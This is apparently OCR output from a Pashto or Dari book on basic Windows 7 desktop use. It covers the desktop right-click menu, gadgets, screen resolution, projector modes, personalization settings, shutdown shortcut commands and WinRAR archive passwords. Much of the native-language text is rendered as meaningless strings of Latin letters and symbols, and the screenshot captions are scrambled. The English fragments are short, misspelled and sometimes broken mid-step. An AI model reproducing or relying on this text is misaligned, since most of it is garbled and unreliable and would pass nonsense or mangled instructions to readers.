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D 5295 13 (5)Sb 2 DgiSHl pgS dily (3L HSun 4
4:Auto arrange icons.
JoS puhais Wlegsl 3393950l 5 b digiSyl 299l sl
&l OlSiw) 4 )igweS 4 guwliw u>P95L5.259 SS (s35b o
315 JsS plain ysé wigiSyl b §l (555 plaie aigiSy
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5:Align icons to grid.
) gl (5)S9 SAlS (S35b (§3 4 Lz AS es)S pulais 45 ))S digiSyl
L 525 @il (2 gaolis 2 Saleé (53 ily digiSal poS Foyy LSy
S b HisaS 2 peS G S > 0 420 95 (5)S Jn B digiSal g
Yol so b v awhd by g iy > s (53 Seid JSU a9 Ig>
S)lo g 55 Sl (300 4 90l Lz S ol (59 dhiold Cuslin S Fio
@mwl@wwdﬁwwydﬁdﬂ%ﬂ&@wb
25 19> 4 19> 0y 292 9l (535 (5335 03 g

6: show desktop icons.

dode zmuo b Sl S pgS (533b (59 vlcwlbling Ugisol Oliwwsy 5
9l (595 (&) & digiSul iy liSuund 4 HiguseS 4 guolin 93 (525 5
SlSuny 4 gwliw 63 (§9p)9 dode rusuo ($3L JileS (55 @ gwliw a5
) By GgiSol 4y 7o

Show desktop Gadgets.
3 2 99 VoSulitingl (HizeS dgizaS iy joridg 3 digizS
S digizg (S Vg S g3l 7 joaig 9l lung Soaizg GdlwgySalo
P2 3 e Igab i gl g 5 aST 3g))0 (il 9JgS 0)u0)5 3 939)1S galize
M dode o (533b AilaS (63 ol ygi ol Aigaud (JoyiiS gigSuliiivgs
S)g A2 (5 dily digizuS oS (3L (S ) HiguseS guwliw o5 (S)S
poS Fuoyy OliSuuy 4 suwliow o5 Lidl) 5y dode S)lo S 4 ol s
$9 O e b (sriizacln S ava i 0) 8w digixsS
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Sort by Aption.
253 3 (532 ol Aighld Uy (53 @il giSyl oS oy UiSuunyd @) suolics
3= bl 4y Lall 3 b - (9ud syl S iy Sigange) o oo
)5 S i o3 4 00 9343 i 3 2 paS Ay yolod dalighy
c59-‘-‘-’
LNz @ e d (Glail gl Joo ¢ Jaagi il < pgi 3 1o 9 oS y90 o
6625 ali b ¢5)S9 SulS (533l H s 01y ) . 9)S iy 0pww
1.NmneAonn
)95 Lall b a o 4y da (53 &Gl 59iSHl pgS o o liSumd 4 guoliw |
U)yg2 ol iS5 |y diwg)g 9l S iy s S S Jus S JSub 4
Jo?
2:Size Aption.
G9iSal poS Fropy DliSuud ) gunlivn i £6)Se SulS (535b Huinl 5o
L'.Mt:gBJggd:i)g,}ﬁdJSbuuLwld:}oj'.\lelg(o_?obd.}mk:g)djl):}
3:ltem typeb Jgo o545 .
g Joo ol o3 piusw 3 2 0)3 092 519 (S0 ddub 3 9567 5
Q4 S5 (IS 92 52 (S8 LR SeT 420 i gl o) L)l
L Jlo o 695djo)hhldsgglgpydﬁdegSgJJ(_ggSo)Lbl JREVETS)
4 9JoS uwgy 0)ld rwle ()9 9l (o3ldle (gigiasd 3 Sei (Hie «dSoS
Glgﬁwésmlp@puwggymgﬁ|mL:l_g).bl.u‘gl
(595 i) 4y 42 (59 pl)So

ste Item type
Paste shortcut Date modified
Undo Rename Ctri+Z
: Next desktop background
8 Graphics Properties...
2 B @ Graphics Options '
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L bl 4 59 Date modified :4
(3 Bly 4giSal pgS oy QliSuns 4 guwlinw 93 {559 SulS (Gxb b 4
G2 P95 (SIu>9 U pun » LSy 15 @) digyaly b ighld b digiSyl ase
’ S S5 29> Ul gl
L JoS 6;GRefresh

L 9JoS )93 Ly 5 Linydy) (S poac
d_"'>h=,_.>_o.) 0)3 09 9195@).;45 olgS 05U
4 JUo 3 .59 Ao b (soub Jogui
b GS b g9 gl dS (dSyS
o)l> S il 53 4 JsS 03 iy 5
o)y Silbino i g (o

U NigapaS Ju> oz 1595 diiinge 455 Calw 3 9wl «Jod (053 4 (595
NgssaS guwli 2 dS L £65)95 (2 guwli 2 (Soiwly A (S9i b 428 o
b Sz )1 95 ($)S Uiy HgraS guwliw 93 (525 GISIHB b Cawguw

(F5) (2 S Coligl (565 03a0 15345

Paste shortcut
i Groove Folder Synchronization
Graphics Properties...
Graphics Options
Intel(R) TV Wizard

New

BE& Screen resolution
W Gadgets

-1'. Personalize
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Paste Aption.

S Aolin 3193 5 $) Sisino) 18 Lalizo 2 (625 RS Vo gl oz dlS
SFESURIY Cﬂwl Oie 420 Jgo Dlogigl 4y « 339 b Gailyysly 4S) doliyy
diy Slol 3 0 GgS 9wl «)gu0)0 ) . (S))g Hgouw 0w (e Jjio

Gy 4593 9 )53l b Sud 3 (2 b E59)B9 (5255 Gy 5 0yl olil
L5L°u>u>|)d9|(=9.19>u$|y&o»uh&wdo)wdﬂglu &S
3L Ol b 3L H M99 420 guoliw 93 £6259 s 3L NigspoS
S 030 gunliun 93 53S9 S (S3b RS @ Libly (5358 98 £5)S9 SUS
G 4 93 53S9 SulS (503b Sy 4y bl Gwgl 65 )algd i
Q 9l 09 (525 (R 90l 2 A Gy )99 498 55 £5)S9 SUIS (sl
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Paste shortcut Aption.
lg‘o.?}lj??éjld}ggjg.béﬂo.ﬁ)m‘o.ﬁIJ{S)SMC;ASL;J)W
4 gl (53 @S U Gy i Ho5 Ll b 90l L )99 63 juw L 0]
Sl gl (59 o 1533 Crl+V

View >
Sort by > Undo Move.
:M SelS 53b (59 4 Jgiwly iy Jol 92 i
old b )alsd b 5Sul 92 9l 2 paS (53S9
Undo TTeve Ctrl+Z I u’l) L)y ded S9 LS)S Lﬂ""L“) 9“""" )9
Intel® Graphics Settings o) LJ9'°) 6.1)3 ‘U L,A-S-JL'-‘-’ L‘ é‘o)" '—)LLS‘“'UJ
. NVIDIA Control Panel : ShOI’tCUt Ctrl+z

New >

1 Display settings

& Personalize

Undo delete.
Gyar 3naats giloig 3 Ly ol 525 SIS i S )3l b olb 4
s5usi guilying 039290 3,098 b 18 3 @) 9uli eS8 059¢ Jo5S],
éuh&u@yégd.o[mdjgbbmmuswcu 9959 Cand
Sa joaizg 0l 8JaS Ol St 935L8 glis 3 9unli 4S) (59 (o (SNig>
SHo Vgich diglgs 049 aS (digiiilay Sige) Ly 3 aS5)lae ol (¢59)8 o
SS D 93 0xl90 1o

View
Sort by >
Refresh

Paste

P hortcut
<Undo Move : Ctrl+Z

Intel® Graphics Settings
B NVIDIA Control Panel

New >

1 Display settings
& Personalize
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Graphics driver.

Graphics properties LGraphics options.
Hldac 1B 5 2 (63 0eidlw Ho2)9 S55 L 45 (Sigalz Suol)S
0yl 9,3l g a3 0pun Llawwg jg)le (I 3. 594 JSu 0yl @iuan
* )92 953 (595 didinel) SSgel> SuolS 5 Juil .59 Haalyd
i Al 0y gliwg Sudl)S (5HSSE 5 digaiuw Gildes
USJ,@I Q) (dCgoxo gigguyd 3 - 03 d>p 09 gidlw 3 Hglyy SLOlyS S
G (92 ol )20) 39S Jirzd 52 (58509 0512 4 JigasaS guolinw I -
)59 9209 b ygalyd lawd 3 .52 U0 6309 9l 9igy95l (S81)S
Gldos € 50 S92 RoD® 3 H52l)d SuOLS (545 JAjay o pol
D)8 SIS 5 2 (4500 5039 aSeT 4y S ) (595 (s33lag (Hgg4in)3
89S (5319 939195l 3 S NigareS 4 gavli 4S5 0)lSub 4 « 5L pgs @
55 riblo 428 )18 Su8lyS ganlian (592 ls 0,3 dly 5o Ly 0yl
GSgslz Su91)S 5635 o) (e (59553 02 U HigapaS guliw (2
SAS 0)uw)3 0350 dy> ASUS 2 (2lg U )8 SWl)S guwlinw
Se0hS 3 0)l93 @0 Bigalid (S0 S Pigeimnsw Sldac pg)S gl jonizg 4
u") 0 ud L_,u.aJ)ng),) L.i}.S')S 9| U)LS
(S0 L (S NigasaS 4y gl 52 (59599 0521 45 j9aig dig)galyo 1
iy Sl o) D)8 109 ol SIS
leadles Olys ol CuasS Car0id gang 5 = didd (Soel> SuolhS Fuo
3599 3 0yl CarsS 9209 0)9€ 3 52 (59599 O)guiio A 9SigIg ) olu>
JoiiS 4y Dloglo )i ol ilwg 03 dig)ealyd )8 4818 yigasaS
03 453 S5) LSy gwli aSe3 o gl (nlg Jiw
ol 9> 4 S 099l b (Hgamw joaing sray 4 (59l )55 SuolyS S
03 7929 Sw9DS gl )8 Jluusil Ly gl (535 29bigo aixd USeS Lz b (39S

......

Refresh

F te shortcut
Undo Move Ctrl+Z

i#, Groove Folder Synchronization 4

Graphics Properties...
Graphics Options vl
Intel(R) TV Wizard
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New

)95 @ gl 4y S Gl 93 £6)59 SulS (533L (53 ) 0l 2 AlS y

295 9183 P s S paw 4y @299 9l Jgl 2 b o) Gl
s 428 (53 Bg0l3S0 3 (535 il S HisasaS @ pige) lidyl (573
' 1:Folder.
Folder name change.
geee | shortcut-f2.
e ey " New folder=control+shift-N.

@ Gadgets 5] Microsoft Office Access 2007 Database

& Personz lize & Bitmap image q-) 9 " I’l .l. 3 3 )S L S l S Aj lJ J m
3 Contact k 9J (5 9 .- ‘é . ‘§ -
& Microsoft Office Word Document

&  Journal Document d-s 9' (_)-’-;-‘ 219> )1)‘-‘9—9 C‘n)-) ul.éS.U..U‘)

cﬂ] Microsoft Office PowerPoint Presentation

) Microsoft Office Publisher Document S .IS l.S-)\Jb u' o & | 9)9) q_) tSJJS

Text Document
}ﬂ VBScript Script File

Yo RN OliSin)  guoliw o3 ¢6)Sg

1, Compressed (zipped) Folder

@ Biifcase Q U‘U).P Q) dod 69 UN9> uhm‘ (995
9 M9 b 59 Jld «S aso

View
Sort by
Refresh

2: Shortcut.

262 Ol Zeoyy LS 4 guoliw o3 (53S9 SS (5350 (53 .dSg5 0]
ks g p) dils 95 94 (g 192 @0 (593 A YigusaS (Slo pigo 3 gl b
U )jon (53 2 6259 SAlS ($3b (53 @ Jol vy ddnyb 2 )
p9S sl 2 (§) b BigealiSoyn Joi Glew g1 4 gunlivw gi 03 (5)3
S3L G gulin L 9 £S5 SulS (533L 480 ) (S9uvg> plxSo

99 {6259 SulS (53l i o £6)S9 SulS (533 Sl L £55Sg SIS
®°9upéhuu)u>49uu9>w5wb»z~o»uwémwlw
4 L 995 S (533b Syl 4 93 pgy9> O 9ud 9l o LSy
995 SulS (533l GiSd @y Lo 95 LOg)> (5353 Zpaw
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2 (59959 99 995 SlS (5aiky g 4 L 995 SulS (S35b Sl 4y Ly 998

$313 Lag)> A (Sads (S0 (i 0)l9d oy Sy
Shutdown button!
Shutdown -s-tO
Restart button!
Shutdown -r-tO

: =4 = Shutdown -r-tO

Yot

Shutdown button desktop
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New/winrar archiving.

g 1938l Cunae Lol gl carinl idoy) b HinrgeS Saoln o
AL 5 ol 2>ty dy dighld (i (S9 b GoS LS99, 0w (53 A 03
o099 U gl (538 oy b iy b GupweS S 9ig) b (5513l izeS 19
G )l iag )3ey 9 7 LB use SNe> Wloglao guliw @b ) a5
O Jz ol ($9 $39> 453> Gwong A Wleglee y90) 2 9507 2 99219
Ly 19359 SlS Wl s (53 9y 99 4 2 G5 Jgl eaiivg 3 oo
njglduuwl) 6.1)2[;):6)59 sl M)IgJQQIu}LJLAJl) KA
ol (S9 (59> Ax> Hwogrg P Ologleo guwlinw o 5,59 SIS (53l
i 297 Sl i @ oy OliSuns 4 gawlin

folder password.
Jop Ja8 b 995 (s33b ) )y 4
L 295 3l 420 4y (3 &l 459iSHl pgS 3)9wl0 (S35L oy L_JLLSU..UQ C¥
Hhig b 59 $od )hridg 2 s soloy 440 4 (il 95 (S U 3ygunld
SIS (535L apidnyl 93 391 Ly 93 £6)S9 S (s35b ) gy 4 Jglegyl &
Q) a5 guliw oi £5)Sg SulS (533l 3)9wld di)g) ) dx5 (5353 53 £5)Sg
auolinn g5 £53Ss SIS (523b Sol 4y Ly (5259 Salos 2yl LIS 090
g3 dlS 2 13 Lo (519 9198 @) a5 gunlinn 65 5 U Halgy 4IS 2
$r9iu 4 53 gigaileS Wlogleo 4y gulinw g3 5)S LoN> slgy Hhridg
03 (525)9 99209 guwliw (2 4S5 1 (59 KL

™ Il %/ 48% m 19 PM
~ Open
% AMD VISION Engine Control Center =
i s ;:'d:’ : Share with . .
Sort by I3 | ol Restore prgwous versions i
Group by 5 ™ Flash ActionScript File Include in library
R @5 Contact B Add tgarchive...
%] Journal Document B Addto "ELA related.rar”
S anntnejokies _ OpenDocumen t Drawing 8 Com press and email...
Paste ] OpenDocument Presentation 8 Com press to "ELA related.rar” and em
Paste shortcut ’|'j OpenDocument Spreadsheet Send to ﬁ
Undo Rename Ctrl+Z ’E:II OpenDocument t Text o
Share with » g WinRAR arch Copy
i Rich Text Document
&) SVN Checkout... &) | Moo per Dacument Paste
#  TortoiseSVN 4 TER Create shortcut
New » g W RAR ZIP archiv Delete | |
Properties r

-
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New/WinRAR ZIP archive/Add to archiv
Folder right clicklThen come down.Add to archiv click,
open the option.Then come down to the right seat!Set
password click, open the option one password Do it
twice.Come the Ok
Complete process

3:19 PM Tifdad -

Emergency calls only

ompression method [ create solid archive

Share with Jormal .4 ] O Add recovery record

Restore previous versions = _
: ictionary size || Test archived files

1096 KB [ Lock archive

Include in library
Add tcl:?rchive...
Add to "ELA related.rar” plit to volumes, size
Compress and email...

Compress to "ELA related.rar” and emr

Send to

Cut
Copy
Paste

Create shortcut
Delete
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New/winrar on folder Remove password.
Jsai> 99018 ($35b H Mgy s g 4
d Ologlao Ji> gl (sale€ Jgois 3)gwlo a5 5algy 4y gl > dlS s
vods> ) gy aga Lil) o5 sala JoS sx) Wleglee ea axd gy lrig
4 Lig)S K99l ) :gy 2 90 ASi (59 gyl 295 d)g gl = (50S
2 0 Froy ganliw 93:¢5)S9 S (533 )3l (il 6 5
(sl (O liSw)) u‘g..og.ldJl_g)g.lL,.wUSdS?_Q:dJLu i Lo dxdwo
axivo J1 4l 93:¢5)Ss SIS (533b (Sal) @y bl (5353 Ly ¢S SIS
Sxo gl 2 (Salot (2)gmwld) dga dxd guwli ) iy Lz i dod>
Ologlso gl o) £5)Sg SulS (523 (Sgl) @y bl (5353 Ly o9 Joy)
Loy 0 SHNR)eslw 4 @) dije b GoN> 455 9)9u008 gl Hlrig
A0

| can winrar folder password remove.
Click on the folder you have given the password.
Then (extract to) on click, Another page will open.than.
(Desktop) icons on click, then (Ok) option on click,Then he
gave the previous (password).Finally click on (Ok).So your.
password is gone and WinRar folder is also gone.

Fle Commands Tools Favorites Options Help

Q@Im‘:ﬂﬁﬁl@@

Add 'Ex't ctTr Test View Delete Find Wizard Info

m “ I;' fract files hAR archive, unpacked size 3,855,854 bytes

‘ Name S 1 Size Packe

1 IELA related

UE?:JU&“ i

Eﬂ‘ rrrrrrrrr o

Organcze pasmeces
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New in New briefcase.

O3>l 45 59l (52 (59 ) M99 XV 92 (S H9aag CaslwgySalo 4
o 3 .5)S (53200 ol S 9iglald 5 Fin )i 8igrisrsaS 9319 3 57 (58579
diglilo dJ)gUJ-JgJ).)})g.u.OSL_JLJuJ 9 ol Ll 9 ouli aS dSg5

ol 6J9S 0)u>3 93ghilo 3 )T 9igrigusnS 3 b oS guwli ((5)S Sy

(59,89 S w0 0)ld 6lgS (5y000

New folder the difference New briefcase.

298 UgadtomsS cann 599 ol Halgy (595

HoanS 910l 2 dlS gles)) Hngi 4p)i d USU gles)) ppgi 4p)i dJ pg)

93 0)3 Ltz b 2y JigapoS guwlivw S 0 4 gl (S9al 45 )9y Dlogleo

G S )y 00l 45 gl (5 @ o o Dlogleo 43 ) gy 4y guoline

99 9 3 yiguroS b )3 Ly S g oud (59 U 93 (S9)l Wleglas

tsgioﬁ)uLogl&odeéuSqu&—m»dszbw

New=New briefcase on click! So you can see the folder will
be created on the desktop.
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Screen resolution 1
Colbog gl LS 3 HuSe b Hjuse oz 03 0yl a9 . juglgi)
PgmSe Jiuzud « 9igrin « gigrwile 3 digi>g (539 15 .55 Jo)lS o)l
5 0yl 9oS gliad CuasS 9159IiSud pgidlw gl 1199)® 9)95 Lalizwo gl
(S:S Jo)lS S5 4y S pixo
("Ooglginy S 3") gl £6)Se SUlS by S i) 4 HigusaS Ji> 5
ODSan Sy 4 98 b dods dxiuo J ol Cubglojn)" 3 E5)S 0)e
cswiLub@qu)meMPm)eMwwyuww
490 (5 Oelaib oy S g A gl daSloain ((5>lum,>)«\»cu ol
9345 diSud 3«I».¢6)S Ja ¢5)le€ guli (uboloyy 2 E6S 0)9€ (Hei)lai
S8 53l (15 (sead 0)Lidl (5353) Ogyeud 4 o)l 9JgS duwd )i Cnuid
5 o2 sl 7 £ 0)8€ Hubgloin) 480 LS o Holam w4 £5xSs
0D o GSan 3 b oS guligs)lat oy oJgS diSuis by dygy yiwo
9> (59 Awg> 03095 52 0 SU 03y YSuw 9wl Joo w4 b Slg
(59 Pl S8 ($3x) LS 9l 2 S5 2 09 Ao Sy IS
595 3 9uwli a5 ¢3lg dgiglsy ¢3S 0)9¢ Lo -¢5)Sg SulS olgS Ly ay(F)
s Gubglon) W ol &Slg W o8 4 &S tuwly Gg> A (ubgloy)
3y
Right click on the desktop and select screen{1}
resolution.«2»If you have more than one display,«3»Click
on the chevron (down pointed arrow) to get a drop down

list.«4»Click Apply

| View ’ ance of your deplay I —
. med = =
Refresh . . » :
Paste e
Paste shortcut

5l Shared Folder Synchronization »
&= Adobe Drive C54 b

New r
@een resolution )

@ Gadgets
ﬂ_' Personalize
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Screen resolution 2.
Using Control Panel.
(DesaS wod> Jiwy JoriSs
J9S SS Jiy J9xiiS 5 Lo ol JoS SUlS gie )liw 5
S Jodg 3 b+ R SUS Hil 5 ol JgS oli JoriiS 3« JoS Sl
)" (Sod JNige S 450 Lidrer 4 L 3 S Jiw JoridS 4(2)JsS
Eoid 23 @5 ) 158838 3 03 8l 3 5 S e gly )y eSS
«5)5 ekl ibigloi) (Saw 33 (533 ggS s ol (srolls 5(3)
09135 48 «5)) Heh)lais 2 dxs gy A gl AS(4)esyS 0)9¢ ol
WZ 03 Ayl A0 )93 9l,E5)S U E5)le gl (ubgloi) 3 E5aS 0)8¢
Wng«?J»)QM).) 2 43 99 UJlJ Ol @2)3 95> 03 ,_,J.:u.m).) S0
595 Az pu Ologlao S (xSuw Jlogiuwl (i
(1)Open the Control Panel by,Clicking Start Menu and then
clicking Control Panel.Or clicking the Windows key + R,
typing control and hitting Enter.(2)In Control Panel, switch
to category view by changing view in the 'view as' drop
down list found at the top of the page.(3)Under
Appearance and Personalization, select the 'Adjust Screen
Resolution' option.(4)If you have more than one display,
select the display whose resolution you want to
change«3»(85~ientation) The display is muted

Adcbe =
~ P . . '
) L 0~ . g
= Calculat g e o o i rvep e n
-.-l’(.trpu @ e e q y L
Ly - ,
Idzr( revet B @ .
) Detect
| > ANProgrs r;":":::;"“
= T..ﬂ,. e
Orientation
Pag
age 98

< 9Cx
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Screen resolution/Connect to a projector.
925 Juog 0w Suw (b d jigaaS S Hubglon) HaSuw o
i 0y (Ll )3 )als @5 gunlio g5 £5)Se SIS (533l Guinl (53 4
8 £5)S9 SulS (s33b Gl (LLig )igwsaS) (1) Jol wolow .z 5 2
mmgﬁmméw)&ukpmdhumgmbo)lm)@u.osmgmm
QJLS)SQLS.LISLS.)JL!LJ.QJL\ -.,ASLJQ)( )pgd@@wwgluw
O)IMUSQ.ﬂgJbuhumdiwmusw)iwdé»}uﬂm‘bww
S8 52 3 digyisle Jsi gunlien = Jo>lp b (3ixienSol) (3)anya ol (ouid
Jsi - U85 .593¢ liwns 4 5lod (599 5 2 (595 e 3> 4 iilo
S$ile2 (595 J& Olinnd S idle xo 4y 2 aid Olad )9 digyisilo
(S Jgud puB 4 )iSuzop uSHJ-’L° sl 4 Siled ~ 1Suzon
gunlinn 93 £5)S9 SIS (533b uinl (53 @ b (Glig )9iS>)90)«dpls ol
WS 09852992 b S Jr @ 9l Ll 0 diglSls Ha)Sw S HigusaS 4

Connect to a projector

Shortcut/Windows Key + P

{1}Show Desktop only on Computer
{2}Duplicate Desktop on Projector
{3}Extend Desktop to Projector
{4}Show Desktop only on projector

==

harige the appearance of your display
u - =
" 1366.» 768 (rmcommanded) = Computer anly ) Extend Projector only
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Gadgets«l».

295 S 9didg 1S3 ped (B a9 3 S b paizaS
S 93 7 jodiag ol Liwng joaig GdlwgySalo 3 2 99 digSuliiwge
3 a8 3g)y5 OleT 9lgS 0pun)i 3 93g)lS galize 3 digizg ol (S o
S a5 .95 gl Aigaud (JoriiS gigSliiiings (Jrg) 3 «JIgw i gl s
w%bdm&@@wwygﬁgﬁé.ubvmﬁygn
9)6)59t5-dsul>°9écsxbyﬂwu>69mwﬁd94u5m
8 £5259 SalS (533b olw Laid (5333 4 gl (§)lg W A LSy guliow
| oD sl @ dxd Gyl 4 gaslin

| can Gadgets desktop delete.
39S G b b oS () S a3 DLy d L (539S 9wl ol
S S5 d)9) 4 93 H099 S oy LS 1 guoli 2 dS He
CLSund 4 groliw 93 5899 420 gunli 2 > dode opun b JuuiS
D Sy CsS A oy

%M.Tech‘rallz com
E=*

View
Sort by
Refresh

[Afigadgets

Paste
Paste shortcut

Graphics Properties...
Graphics Options

Get more gadgets enine

:::::::::
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Gadgets «2»
Windows desktop gadgets were mini applications available
in Microsoft Windows Vista and Windows 7 versions and
based on the platform of CSS, HTML, XML and JavaScript.
The widgets were capable of performing different tasks
like time and date display, controlling external
applications, RSS feeds, etc.
(1)The Control Panel window opens up. Click Desktop
Gadget
(2)All Gadgets list will be shown as below.
(3)Double-Click the Clock
(4)Click Down Arrow ahead {Show Details} to view the
(5)Click Get more gadgets online to download gadgets

from the Internet._
Adcbe Photethop C56 (64 Bit) L '_li'u

< G
‘\' Oracle VM VirtuatBox v |

_';S'M.Tmﬁfiiic'oih
- All Contre

and ez | G
Kot 52 Contret Panel ¢+ Al Contrel Pare eres &

= |45 [ Search Controt Parel

@ Geegle Cheome v

=4 Calculator

lmatid
,ﬂ Notepsd L]

:.:5 Internet Exploer L]
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Right-click any open space on the desktop and then click.
Gadgets option information.
Ologlao jlusl SdS 4y CouS Ol 5
S3L L2 @ 6)S VLBl CmuS 93 U Ol Ju> i GoS guoli dids
m)ywwgwﬁ@wb6@|)(l 0w ¢JgS SUS dl5 090
o7 S Lyl 15 uwbigly labolis Oliaand Jy 315 i IS sals 55
3D AS)HE 2 L > WSS ) GeaS S b G Sl 4
@ 0)Ld glgany L,AJU.SXQ»GD)J O LSy gwliw 9 £6)59 Mdmb
GaoaS G2 G (5395 90l $33b G Sl G L (2) b Syo 4
Sl slop um.)gl)(B) oo 3 oSy o uS G b S
J0 09) 9 5 b 638 JI2 Lwd eags (56553 0jl>] 4 guwli dig)luis|
S2S tipi i (5395 gl Jolloww by «Jaiue»(4).65)S
1-close button,2-siza button,3-options button,4-handle.
Desktop in Gadgets right click

Here you can add a gadget to your desktop by double-
clicking on it.

(Close button)If you move your cursor above a gadget you
can drag it around your desktop. It doesn't need to stay on
the sidebar. There will also appear some buttons next to
the gadget. Click on the X to close a gadget or on the
wrench icon to access its options.

(Options button)The options of the clock gadget allow you
to enable the second hand or to change the timezone.

—— Close button
—— Size button
— Options button
— Handle

Clock name:

CCCCC
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Personalize [2]
Right Click on a free part of your desktop (not on a
shortcut or file)
(1)From the Personalize screen, we are able to change all
of our personalization features, including desktop
background, windows color and Screen Saver, all at once
(1) (Windows 7, Architecture, characters, Natural, scenes)

using the background picture change
mﬁ. WU | Fow

!' e o 53 » Control Pamcl » 48 Control Panel o+
G Goeght Cheoes
Cakculator L2 "a W B

- o : .

._1 Notepad [ R o & e 3 Ow
oo Fr U For

FEN tnernet Explores 3 Gu e

- &= ey L ¥ Mow A8 Hero
£ ne [ 8 Puse
- e be ar #r
ar & g i B Feg
5 e % ) toe ® sy
= o T = B, v
L] [P - @ win

Personalize {1}.
6loS rasud Joi Ju> 9 (oS yoe a3 ()Suw 9lgS sl
3 9l S5) Jeizg 3 3l Olind 3 Jsaud g 198 J3 Soliy S
S3b Guwdgigw)yd @ guwli > dS Ho«I» S J>00 4 Joi gaw (aSw
6mbuzw3&|3mu>umw)l>¢mdb9mm9)6§9@ls
3 (83 4 95 (GuisSan b (5L b Ogamw joiag) ()18 Olpgans poS
(Sp9 39005 OliSund 4 guwlin g5 (595 SdS s3b gse 2

View »

Sort by .4 ) Contral Panel » . « |4y )| Seorch ControtPane 2
Refresh

Paste
Paste shortcut
Undo Rename Ctrl+Z

5|  Shared Folder Synchronization »
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Personalize/Desktop background.

J2 U8 S b pado b 359)S 2 G (535S 9wl S ilegS 4
Y

«1» picture location.
R9ua3 455 (53 4 i (5395 gunli (53 Oliinlhgd 603 S il s @
Gob ) 03l (33 S 4y b gl (58 U

»2«Borwse
Olnguad dxd oyl d gwliw oi §6)Sg ddsdxb MlogS SS @

{3} select all.
4 3L p)Sw 4 9wl o b SISE Olngad Joi s35b Gl (53
G5 A nead Jia2e L5 ) neial 9 NigxSe 4 iy L5 dives Al
dJgy Siuogil b
(4) clear all.

3L 428 4 (§9 UP9> H9uaT PgS guwlinw £5)S9 SIS 3L Gl 8o @

o> R9ad 420 Siloy LS (53 (52w by (5353 Lo ¢5)S SIS
S$9 S5 Lwe> u>

(5) picture position.
wufxgﬁumpgwagwbywuwl)yusuwléjm
03 duisg> guliw 42 LJoly 15izeS b Lol
»»B««change picture every.

N B9 00095 pguad 359)S 9wl 2 (S9 g gl S Bl ($3

&
L
View — r— - — - E:Q 7]
Snnby Change the visuals and soeunds o = B
Refresh TR —— :,,( x
Paste .&ﬂ 3
it :
Undo Rename Ctri+Z Sr= b e Gt e sl » CA\Users\Public\Public Pictures\Sam
5§l Shared Folder Synchronization 3 ﬂ ‘-1 .‘ij. % ﬁ
erties... - ﬂ R [ =1
ions SO NI | | rnen s [ p— - .
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{7} shuffle.

dggaubuugjkzgﬁt:g)ldn)lsaémlgdnicd)hﬁdbéu@léadg

o>h 20d 4 Olngad S dig)Sa

(8) save changes.

S 0)9¢ b Dbl (s35b Gl 3 4

(9) cancel.

| —reEs
—~ .
L & = pers. Desktop Bac -4 € 2
our deskiop backg
picture to make & your deskt =
chy ;m Lsbrary
Chear all

@r—_—
i- 3 H
ﬁh 4N &8

ange prcture every
30 minutes Shuffle
-
L MSS‘D“ Cancel

Personalize/Window colour.

| o > 3 9a0li dSeglalany S5y Guns9 ]

0o g Jiws) Sy (i) Al o
9 S5 2 £595 0)9€ 9wl L0909

)95 ) Ko O dSJ E5)lg ) (555
o)) 9lgS @alais (§5 3 guoli g3 ¢ S Al
ol ) LSl by &5 oS uini dguinyd s
)b 4y 9)S YoN> guli 2 alxSox peS L
o S5y 2 2l Mg U plxSgn 2

RV IAV

{1} Window colour.
db @ > LD LS dxdio A & guwliw g5 ¢5)Se SUS (sl Jipg
65)596-;15%5-\3144@%@9w%ﬁ)eﬁﬁ)eﬁwuwéw

'. &, Control Panel » All Contrel Paneltems » Per | +
Control | Panel Home

Change the visuals and souncomputer
Change desktop icons
Change mouse pointers
Change your account picture My Themes (1

1. Click Windows Color Button

Click a theme to ch
screen saver all at once.

Display
Taskbar and Start Menu
Ease of Access Center

ange the desktop bndow color, sounds, an
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{2} Enable transparency.
Qw&ugjqﬁéﬂdnic@mbd)bdddﬁ;dbdgmUydls
ou O)lSwJ )..a.) LSJ) LS.)JLJ )L&UL& gl JI-RVaT.] S8
{3} color mten3|ty
{4} show color mixer.
o g Wgu 4igSS) groliw 93 £6)S9 SulS (S1b Gl o
{5} Save changes.

o GISUSO) 3 Guiml g0 A

Change the color of your window borders, Start menu, a o oy

Curre: lor: L

V| Enable transp.

Color intensity: J n

w Show color mixer | 2. Click Save changes Button I m

LN

Advan P ance s gs
o : &] o [ A |3
oo ) o) [© b
___7

Personalize/Sounds.
oz 1S € 92 0)ld gigidled gin> 3 HigreS 3 gl Hgaw joding 4
ol @ G 3 Jw jeding Lz S - (5230 pel ) pE i S
26 L S 390l (593 90l > S (9 Liiingy iyg 9l 1595 ¢ 92 1
02 95 £62S 3 JigasaS Ju>b (635 dwd )i Slliuinn 595 0 «£5)S J\=d
93439ML“”936)S9‘5*156NbN9mm94”bu>¢15}993u>|)u-‘)f'

.:A Q é; 3 o Jol 2 oz B Lo bo

Hasture

Urited States
N P S
e 2 S

Page 106
<9Qs-




(c) ketabton.com: The Digital Library

{1} Windows definitely.

9wl 2 did digye S 9> Al 2 (2o (Had joNiag) S gituimy 4
$9 Wg> gunlin S Ao 90 38 > Seds 4y ol
{2} Save As.
t:g)Sg;&Jlgt:gJJg‘chﬂJM@QlSLngmg?i?SxoWU?gd.xJJ
{3} Delete.
(2S5 Gdad b (5)) By 4 99 IS € (S0 gl oz 4o
{4} Windows.
giidpE 61oS UoM> al)Sgp e olgan alySeyy aSI Slig p¢ guli s
€ olouods yiguaS 1yipe.
{5}paly Windows stratup sound.
gwliw 93 0)S (5)) dodle o b S)lo Suj a3 (3 A gl > AS
)95 ol ol S92y ay y€ 9lgaiy pl)Sg ) ASJ (595 U digye ) yigusaS
{6}Test.
99 poleo ¢ saib o 4
{7} browser
9940 Gliwsl) 455 o) sy o
9_»6)59«_&..15‘5.»[“5&4)thlt_g‘}Sgu_iJlSLgxbL_gﬂJ|dJuSp|m
oD J e Lg.)..\b ).Jg..u.ASCU g liw

A sound theme is a set of sounds applied to events in Windows
and programs. You ¢an select an existing scheme OF save one you
have modified.

Sound Scheme:
windows Default ] »| | SayeAs.D

To change sounds, dick a program event in the following list and
then select a sound to apply. You can save the changes as a ne'
soun

d scheme.
Program Events:
" | Windows
] Aster 4
Clo: Pr ogra
¢ Critical Batte ryAIalm
¢ Critical Stop
¢ Default Beep

+| Blay Windows Startup soun
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Personalize/Screen saver.

diung)g (5199 Cadladyue (Sg)lS 5 2 0 Aol HigrpoS 31 )gumw (S
5 -y (534S eabais o)l olodled 5 (E530039 MigaaS Ju> guwli 2 alS)
3 Gz w9l )Se 0348 JoylS 0yl elew die () 3 9ig ile ) 3 (Sr0d]
